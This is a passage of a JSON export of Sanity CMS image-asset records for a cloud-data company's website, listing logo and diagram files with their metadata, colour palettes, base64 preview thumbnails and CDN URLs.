zFyfoyC58iTFOMoQcvs4/qagrOzszgzM4P37t6BF88ewM7WGpLDduyaxrLEeFFnvGDs3QA4z1GwDAUTmDKOWcIwpTHSIEC928GV5ad4Y2EB5+c/x/t3rsPuyjUIG7dQHDaiuK8vSZzndcEzlrIUUyamGWOQJxTyJIZjGsKYjmAc+5B6fej+/RoeP/wBbtZuwGdXrkBt/hLs3HsPKuVjPNmth5XbeyRlSVLPKE0yGmNOo+nxxYAGUFAfytiDMnahCh2ojrrgvPodVh8+gFsLX8Dcp5/Azasfwatv35+Oly4jbK8k5157XRp7/bWUWJy5FqaBg2VEsIoH+CZy8G1k49vIwklg4ORwD0Wzge2NOr6Qv8Fn12ZwY+5D7Ny9isXL7xAP/8jBVzel0jy4L3S1HRptjxN9UIUWmUQWmYRH5CQ0yGmok9NRj5yQNimtFsn2GyR68j0ZfjlLoq8uk3x1cXDa3fBw2NTAV59Kb0jvg7HTrWUD7fZ4qMuT0JBPQkM+DXX5bNSTz0aafD7qyOfBgXzm78vnTlOGvzbk6epPMvz6s4zt32R0m7fBV78Gf+/Sv24N4zNjPX+OAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3b44","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c4424","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5961a","foreground":"#000","population":1.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cd9695","foreground":"#000","population":0.7,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c9c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8a7a","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5961a","foreground":"#000","population":1.84,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7ae8ed56761bc36cfb6d47036f47c61cf29b5d37-1567x844.png","path":"images/sczeoy4w/production/7ae8ed56761bc36cfb6d47036f47c61cf29b5d37-1567x844.png","sha1hash":"7ae8ed56761bc36cfb6d47036f47c61cf29b5d37","size":410702,"uploadId":"SgpUo8IELxxpHtkNAdNpgxt0YEAaK4ZY","url":"https://cdn.sanity.io/images/sczeoy4w/production/7ae8ed56761bc36cfb6d47036f47c61cf29b5d37-1567x844.png"} {"_createdAt":"2024-04-03T12:08:53Z","_id":"image-7b25f6c06f14dccf1225b9da6c95287b928a7ff6-207x63-png","_rev":"9k1srJVIAf7BJJgtqkj8YZ","_type":"sanity.imageAsset","_updatedAt":"2024-04-03T12:08:53Z","assetId":"7b25f6c06f14dccf1225b9da6c95287b928a7ff6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D88;lW?bxuRjWB_NIURPj[t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2857142857142856,"height":63,"width":207},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABcSAAAXEgFnn9JSAAABEklEQVQYlVWQzyvEURTFvxsJaWbYYmGjSEl+hi/NYqLMbCiie+Ke7kkWFGXIysL/rftm6Gtx3qvz3vnc814F6gPUlXn0QT2ZxzeoT1AvoG7N4x7UEJRAAdQA1DlcA7iWQW2AegP1lfnKqGdQZ6COQTmoV1APoB5B3ZmHg5Hee4G6umDRJajaPE6NkQOHRrGC68QYCTsEdWQee+OpB+mZx5a50usZowdq36hdMHOqwchc+lmqW4FaMcY6qDVQi6DmR4olUAugZsxjwhjT5tECNWdUGx5tUB1QLTBmUTx1EliD2hk3zCabKA1K61VQk6DyXpF5/O1N/Z7n0h89JS6McQ3qZvyXBmob1FQT0oT/V4JV/QAheqOsi33AzwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4444","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":0.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":0.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#267272","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bdddd","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e7174","foreground":"#fff","population":0.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfbf","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-oracle-cloud-dark.png","path":"images/sczeoy4w/production/7b25f6c06f14dccf1225b9da6c95287b928a7ff6-207x63.png","sha1hash":"7b25f6c06f14dccf1225b9da6c95287b928a7ff6","size":5707,"uploadId":"v0dQLIyJfKxr7tw7uH734J7m3lgMckbW","url":"https://cdn.sanity.io/images/sczeoy4w/production/7b25f6c06f14dccf1225b9da6c95287b928a7ff6-207x63.png"} {"_createdAt":"2023-03-31T13:37:56Z","_id":"image-7b38cf09a17b738e4848f322c3b934aa5a958d17-2500x1308-png","_rev":"Fl2c73WgS9jO0pBHiRKuGj","_type":"sanity.imageAsset","_updatedAt":"2023-03-31T13:38:46Z","altText":null,"assetId":"7b38cf09a17b738e4848f322c3b934aa5a958d17","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAABfklEQVQokXWQ20sCQRTGZ3bdtIjyEl3oMQjac3axUkdTIiokguyhmxU9VM7sjpu7YtFDEBJpFoEV9QfHbhekC3wPH8z55ne+Q0KGPcy80UIjkavHmBdn9bHC+eTS5Wi+MZSqaYYkuvhXA0lnev06f/iQLXfmtlvpnfbi0ePqSbdw+IClZozVFbD+DQ8mHWPzpsifi5Wn5ePuykl3TbyUnLeN6uvCwf3E4kUILfpXkoIgEVNOFa9y5U6u3MnstlPbrbmt2+zeXW6/g6VmPFtX/yBbFIIfVbAGZ50E8xLMi6fdaNqNptxY2o1n3KH5M82wf2LBpiApSgo28Rf41kyP/9L3QJC0CMjPMMqvMIiPTQLTI10oIEIgVP/JIigDskXBplglii4iKPpNu8+Uvw+rANeQh5FrIBSQBCTRgxmwCTokDHwkKSZYLco8zZS9DakuVORhoxLBSsin+djP5VESrJI+4IkkH2dnwxk//IOsIu83T8NGRUXbx/qd/dof/h0KQ4UdkvzWIgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345072","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":76.79,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":76.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8fa1c1","foreground":"#000","population":0.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bcdc","foreground":"#000","population":0.36,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f7594","foreground":"#fff","population":0.86,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b24c55","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"how_to_talk_to_apache_kafka_social_media.png","path":"images/sczeoy4w/production/7b38cf09a17b738e4848f322c3b934aa5a958d17-2500x1308.png","sha1hash":"7b38cf09a17b738e4848f322c3b934aa5a958d17","size":82314,"title":null,"uploadId":"LNHzlqMkrmI8KxwflLjJR07cuAXMkIYh","url":"https://cdn.sanity.io/images/sczeoy4w/production/7b38cf09a17b738e4848f322c3b934aa5a958d17-2500x1308.png"} {"_createdAt":"2024-07-17T12:53:19Z","_id":"image-635a884182537257d97ac7d13e3e0ed89d3de4b1-1600x1226-png","_rev":"IN03FCy14OOjYlZR2lpIoa","_type":"sanity.imageAsset","_updatedAt":"2024-07-17T12:53:19Z","assetId":"635a884182537257d97ac7d13e3e0ed89d3de4b1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VPMG^%xa00o}D%Hq-o0eEgIo~CwJx]J-bv4TMxt,kq%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3050570962479608,"height":1226,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABwgAAAcIAHND5ueAAAECElEQVQ4jU2RbWgcRRyHN1IaaH1pfUEQ8kFaRVtKG5TKUVsRBD/0i1ARm0g11dQaSLVWU5EqKai1tv1itBqLmhTxDYN3Edo0hiSWppjqeZGkSTaXt9vd2Z3d2d2ZnZ2ZvbtNduSuavuHh9/ADA/zm1Gkoih9UiouKNwrzn/RvtSxV02OPcWT47u4PL5LJKeehfGP71+K/zg3HF8dGRC2/hnj4oOQ0hbf9zdqmrZC13XFsiylOq0LUhkjsiYMgq0lkO9ZGh9ipcs/L0cjPUvxaGY5yfWXynM5Iow5zC3ND7GncyEWi8XiMOf8Odd1byaEKBjja8KTHaeVbC5XwznfUYqiwSKjy9iBEplGwrAn44hLwajEnis9F0mEkCSESCEEEEK8SQhZyzlXKKXXhKdOfKSMjIzUCCG2F4vFgZCxJdtB0oIwIQFNSuVywjlPPM9LHIQS27aXMcYyiiJDCHH4BmFNVdjV1a1ks9nKDbczxgY8z1sChpEAABLf85IoEkkYhglCKEGOU8llSqkslUpGFEVtGOO1YRheF/b29iqTk5M1jLEdQRAM2radaJomC4WCdBxHcs5lEATVte/71bphGFYqm5zzw0EQrBVCXBdWpvPMTzWu6231PO8bCGFe1/U5XdfzCLkqY0wlhKiO46gY+yqlwXQYhjOMsYuU0maM8W2MseqnaJr2v1NByLzbMLSdmlZo1gqLzRCaTZQGezhnezAhz7s2bCJQb6aus5fSoCkI6DO+729CCNVu3rxZqbxjpXp1Vt66c0Xqsf2rX3jp3dtbXzt218E3Ttz51pFP73jvw7Nrurp/WT02NV/r9XevYh+/uIaePXKLOXO1Nl8wVl4cHrpJSqn8RxAEitJ6sKPu8Sfbnnh4W+vuTQ/tb3hwS3PDhvp9uzfU72vY8kjL03tfPvlo7u/8/REC94Xjlzby+YkHGA3WcSHWcc7XVxFiPaX0HgjhKuW7HwYa3zna1XPg0OmJlgMdk68c6JhsefWTar7e1jn27feD5x3H747Lpa+KnHUVBf86iqIvb0QIfoZz/jYhZJsyNT3fPvxbdvZc32XZd2FU9vWPyr4Lv8sLv16Rg0NZmctNxbpuCIwxD8NQ0CAQvudx3/c5pZQTQjiEUPi+/xdj7JDieV774mJhKp+fLWuaXtQ0rbiwsFA0DFChNDE+Xr4yOhrPqGoMIYwty4oLhUIMgBG7rhubJiir09NLhqGrYRgeVVzXbTQB6NR1rdeGMA0hzJgAZBzHzti2nVGnpzPZ7J/pGVWt7KVt204DANIIoTQhJG1ZVnpudjZjGMbnGONGZXGxUAcAqDdNK2VZ8F+sFISwimmaKQCMatq2nXIcJ+U4dgohVKVyFgBQoV7TtLp/AKpDf+HfgTfEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#56363a","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#911d0b","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#911d0b","foreground":"#fff","population":0.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6a8d8","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcac54","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646994","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f63404","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-control-multicloud-platform.png","path":"images/sczeoy4w/production/635a884182537257d97ac7d13e3e0ed89d3de4b1-1600x1226.png","sha1hash":"635a884182537257d97ac7d13e3e0ed89d3de4b1","size":243164,"uploadId":"JkWiY6IRotvCj4ktAr5NLJuPPRU5rIqB","url":"https://cdn.sanity.io/images/sczeoy4w/production/635a884182537257d97ac7d13e3e0ed89d3de4b1-1600x1226.png"} {"_createdAt":"2024-07-17T12:53:32Z","_id":"image-ea3d93b74e585101e7b69a41ab8add66390488ff-1600x1226-png","_rev":"lESIXfhUM7GwGlQ32cCSrD","_type":"sanity.imageAsset","_updatedAt":"2024-07-17T12:53:32Z","assetId":"ea3d93b74e585101e7b69a41ab8add66390488ff","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VELXA5^l00J700}[MJT0pd9Z=w=|9u5R%MD4a0t,cEo}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3050570962479608,"height":1226,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABwgAAAcIAHND5ueAAAD30lEQVQ4jVWU3WsdRRjGZ0UQtAaa5K/wvhfFO0HwzhvvxItUgi3VfJASK/k4JTaiBoLNB9REbUGqRSohEErbpFYLmjRp1Zh6ktik52PP2Z3dne/Zmd2cc3ZGNvXCDAzPzFz83gfe5x0QV3YcWdkBIvLb042bQ62l6chcv2Cz70atuV6wZmHCth4smkbpcTMlodRKYa010lpjpdQ657wriqKXCSEAYwyAYsRRnALJeecB8kab3l6Y7m9aufvQpE83bVb/xyawagisG4KiFkKoiTFucM4zIURVCDFIKW0XQgDGmAO01o7WGkgpOxuNRqHRbIaccwshzDjnptVqGa21QQiZKEI2DEOLMTZKKZskSaiUGmWMdeRAIYQDlFJOkiSHwCRJCkqpACFk6/V6hjEyidZGqdgQgk0URSYIggwh1EqSxDabTZgkyfARYBzHTrPZzMGdUsoLGBPkeZ51Xdf6vm8JIZYxZnN3eSGMsaWU5u5so9EIkyQ56lBK6aRpmmtHHMvznPM9hCIBoU8QQkRKQYTgh2dCCGWMMc45U0rJNE33lFKDhJB2zjngnDugXKmCcjnflWOVivtmpVKbefq08u3efvlKreZ/FQRorlaHc6WSO1er+ZcJQrOCkak4llNKqYuc8zfCMHwJIfSsy4WxeXB+eBaMf/rNC33npk52n5k419X92fip9ybGus9+Ueg+e2nk3dOTI6dOT458+NGXfcs/Lr3FihuvMa9ykmD0Cgpgu+u6z5XLZeB7HgCXZm6Azye/B5fnF9tGx6529Q7M3jvTM7XzQd9Msbd/utjbN13s6Z8pvt8/+/fFj6+srS0sXKMPbn/i72z2QLfyalzafjGiDBDGwaK1APzx567z6PdtsLX1pGN1bWvop58fBSt3N+z9e+t29eaKXV26ZX9Z/tXeur1qf7u/boO/HmL5ePVusFccD+u115X75FjEJCAiBs3lqwAQQh3OBWCUdSCEhyEMYBSEViGYpfubJt3ZMKJeNjXXzQKvbhMSkjSsTdNa+QQN/ePaKz1PVQKkToH9egActrrVauWx6eCcD2GEfEqJTWOZxZFnpF81mhPDGc2kELZxcBCkaTqitG6Hvg/0QQMUSy7Yq/nAXis8A+Y5jOM4Bw5TSoN8UpRSJldMiJVSHt611jZN0yhJdIEz1tnKMiCFcI4AKSGOlBJQSo9jjAcQQtv/ZS5CUYTq9TqC0EcY4yh/FELsxnE8yDlvzycsN5RmFjRaBtj5XgCCIAAI41zbIIRvQwh/gBCuQAjveJ63XCqVlqvV6nIQBHcQQiuU0huEkHfCMGzLf5goisD/178dSaneJIv+QQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31355c","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#673a1e","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5520b","foreground":"#fff","population":1.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c49e90","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd46c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f7e64","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5520b","foreground":"#fff","population":1.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-aiven-platform-byoc.png","path":"images/sczeoy4w/production/ea3d93b74e585101e7b69a41ab8add66390488ff-1600x1226.png","sha1hash":"ea3d93b74e585101e7b69a41ab8add66390488ff","size":250127,"uploadId":"KtTiL7bfbr6zbMtq9z2O3GTMskqNAeV8","url":"https://cdn.sanity.io/images/sczeoy4w/production/ea3d93b74e585101e7b69a41ab8add66390488ff-1600x1226.png"} {"_createdAt":"2022-06-16T22:53:50Z","_id":"image-7b5eafd5b8c4ff2e3a89fea7f220ace9e02fe168-106x39-svg","_rev":"qkpX9b3U0TpOGFQp8fNxeb","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:50Z","assetId":"7b5eafd5b8c4ff2e3a89fea7f220ace9e02fe168","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D58RIIu6lAlBQkQRo}t.VrQ+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.717948717948718,"height":39,"width":106},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABRUlEQVQokU2RPUsWYBSG3VqLMCd/gItbSFmTkHFFmIOGgxYh9EFFX0T0JVImlWlLQaUVmfQBxZWDDaVb/6HpfoP+SDx4hoazPM85133u+3RhvmBeYA5ijmLuYIYwJzBiTmO6sdOzXdmB2YdZwyxhRjFzmOuY3i7ML8xTzCHMLOYj5lgBP2CuYsYwl6ua2ET9PcDcwGxg3mCON+BvzGPMFOYb5idmHDONWcU8r00WMJ8wy5hXmM+YM5hbNfMQM9yAf2roLuY7Zh1zEnOxVL9inmAmMS8xm5gfmLcYMOcx78rVzgb8W6DFGmzZNCu3Mfcw7/9z8Ki2bVuu1Nt8xdRc9TXgVmVwBXOkYK8xl5qFCvsZ5j7mWm11oXpmSqSJ3sSMNOC5Cn4/Zg/mcNk4gNmF2bsN77SDDGJ2YwZKsB2u9Z/FnML0/wPmfkOIE91M3AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#213d46","foreground":"#fff","population":0.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b4e6a","foreground":"#fff","population":3.63,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b4e6a","foreground":"#fff","population":3.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#77a7c0","foreground":"#000","population":1.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4ab2f5","foreground":"#000","population":1.64,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#545ca4","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2ca6d8","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"wolt.svg","path":"images/sczeoy4w/production/7b5eafd5b8c4ff2e3a89fea7f220ace9e02fe168-106x39.svg","sha1hash":"7b5eafd5b8c4ff2e3a89fea7f220ace9e02fe168","size":11844,"uploadId":"9w4Doc5PRzEoGIRLqG1pYvpaCYnOTGqg","url":"https://cdn.sanity.io/images/sczeoy4w/production/7b5eafd5b8c4ff2e3a89fea7f220ace9e02fe168-106x39.svg"} {"_createdAt":"2024-03-22T16:57:04Z","_id":"image-7b6653e53559ce49a05b420e9f9732f1bdc3a5db-152x64-svg","_rev":"FsdEUX6qPquRWP6V14xCpn","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T16:57:04Z","assetId":"7b6653e53559ce49a05b420e9f9732f1bdc3a5db","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M?K_E+1-xv$wD*oLW:bHf6bHM{j?j[jYWX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.375,"height":64,"width":152},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAAChUlEQVQokR3S20tTcRwA8J+INB92ZlpWExUzwwil0tQKEoWMMFaW6IOxVHJa5g2lJ4N6yCcfevCh/oHeKsQ5d+FscxfHbs552byQ6HRzx7OduWGant/394v6Bz5PH1SjiebVaffeNOoj9lY2kuwwho9Uxp3ga2No7K0pdH3AFEqnVoQoRQjbmQxskd7GZmYCs7JNrJcdY22WgDXZBnH6nFJU5+Sg8mmu++5MVK9guYNXVg4P2DncZ40c9Zh2fT3G0HCfaTtPnEBo01WfBg6mGOzMR7DlroK95A9YSwGbS0RsqYzh2Ts/se5yC7o6tW++pdlPPDXxtNcRoyNOngzNcbTLFD7pZHe0Pcbt+nt6mk696Aw4pU3gPG8HTzkG/2MKC88oeBUUvC0UOxqiWFfwHRVO8YkyDS82mmJ00C2Q0XmBDDh48tIUoUp2N9DJhtrv66iEziMZdsuGwFe8BQEFhY0+gLVeAsvtBOabKLbcOMHanDDKV8dTNQYBN9sS9MNiinwOpMg7d5yobBxtN+8F29idzkoNzfwPerOGyVLZNtl4QcmvfgJrXQSWmgk4blLM5p5inYxDcrXgqjMfpLo9KToePCRf1g/Jp8UkHXTGReUsZ3xu2H1YNEXT6QKSgFfaQpZK3WT9CZD1NgrBVgL+BgK2AopZJoYNshmUNSmMlOkPbI225G+lMwkqV5KonImTNmtsVcFy7x/pwoVjThHt+R+kgTfzGvHnj5OVqi0SqBXJci0BXwWA/WIKm6U6zMo6UPoP4QozKYzK1cJK0XT8tFQTwxVaPlyt3f9arYlW1c5EMv6VoTxC4JFIwJddTxYufSM+OU+8cgDXhWOYO+vBFqYfmxn5X+PppdzLec+YAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":21.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc6404","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":21.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4acc4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edd16d","foreground":"#000","population":2.56,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#947104","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c010","foreground":"#000","population":19.95,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-opensearch-clickhouse.svg","path":"images/sczeoy4w/production/7b6653e53559ce49a05b420e9f9732f1bdc3a5db-152x64.svg","sha1hash":"7b6653e53559ce49a05b420e9f9732f1bdc3a5db","size":10905,"uploadId":"9qtVtoxSiuP02Kp84NiKUa1fJ8PjJYD9","url":"https://cdn.sanity.io/images/sczeoy4w/production/7b6653e53559ce49a05b420e9f9732f1bdc3a5db-152x64.svg"} {"_createdAt":"2024-04-15T15:50:07Z","_id":"image-b97985a8208abc1059d1fee8be898972517ff18e-2880x1130-jpg","_rev":"DcneF66P6QscvZLjo7za0f","_type":"sanity.imageAsset","_updatedAt":"2024-04-30T12:17:03Z","altText":null,"assetId":"b97985a8208abc1059d1fee8be898972517ff18e","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DD7dl5oc^nn$=zM@EKR:I:S5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5486725663716814,"height":1130,"width":2880},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAUGB//EAB4QAAEEAwADAAAAAAAAAAAAAAEAAgMEBRESQVFh/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAEEBv/EAB0RAAICAgMBAAAAAAAAAAAAAAECAANhkRETFDH/2gAMAwEAAhEDEQA/AMlz2DipvhdAQ6vK3qN3kj6osUmgg+kRbWqtWQE/ZFYeGIEuWMdirFKI3yGTMHGt62AiIjzJnZj7mxoT/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c2c58","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1e7e","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e04e16","foreground":"#fff","population":2.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0b268d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#859cf5","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad626b","foreground":"#fff","population":0.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e04e16","foreground":"#fff","population":2.42,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"bg-dark-blue-orange-pattern-left-right.jpg","path":"images/sczeoy4w/production/b97985a8208abc1059d1fee8be898972517ff18e-2880x1130.jpg","sha1hash":"b97985a8208abc1059d1fee8be898972517ff18e","size":545406,"title":null,"uploadId":"37g6bpVPJ0X8hfgt5V2ccfCrbozHW2jk","url":"https://cdn.sanity.io/images/sczeoy4w/production/b97985a8208abc1059d1fee8be898972517ff18e-2880x1130.jpg"} {"_createdAt":"2023-05-02T16:44:37Z","_id":"image-7b6cda9785143c298f14e6e1818be8d4ea8977dd-530x530-jpg","_rev":"t1DqkqeCST00RrkAKF2LKb","_type":"sanity.imageAsset","_updatedAt":"2023-05-02T16:44:37Z","assetId":"7b6cda9785143c298f14e6e1818be8d4ea8977dd","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eFEV+*xa?uIqMcoUWZi[RPS61kS1M}xbof~VofRjRiMwrVaeIUkXXo","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":530,"width":530},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAQGBwIF/8QAIxAAAgEEAgICAwAAAAAAAAAAAQIDAAQFEQYSITETUTNhcf/EABkBAAIDAQAAAAAAAAAAAAAAAAEEAgMFBv/EAB4RAQACAQQDAAAAAAAAAAAAAAEAAgMEESExEhOh/9oADAMBAAIRAxEAPwCG10uIgkmnjDSyDrGx89TVPteS5eDKFNLMkzfjK+9/Vadd49DjJJ7xYUWNC47H2KpGMhtbzmcUcISJFQOCTsaA86pSlMlQqHf2WemiNvLqWcWyuqswKsQCR9Ur1poQredEEbBB9ilJumucbQlB53mTc2zF+ubv4RcP8fQLr9V3gbiRI1nUgSdem9exqlK7EByEx1TGydjORXyWoVjHL1YgNICTrf8AaUpU92ACf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#614334","foreground":"#fff","population":4.93,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#18345b","foreground":"#fff","population":3.92,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c9b7a9","foreground":"#000","population":6.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9b7a9","foreground":"#000","population":6.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9fc7e5","foreground":"#000","population":3.51,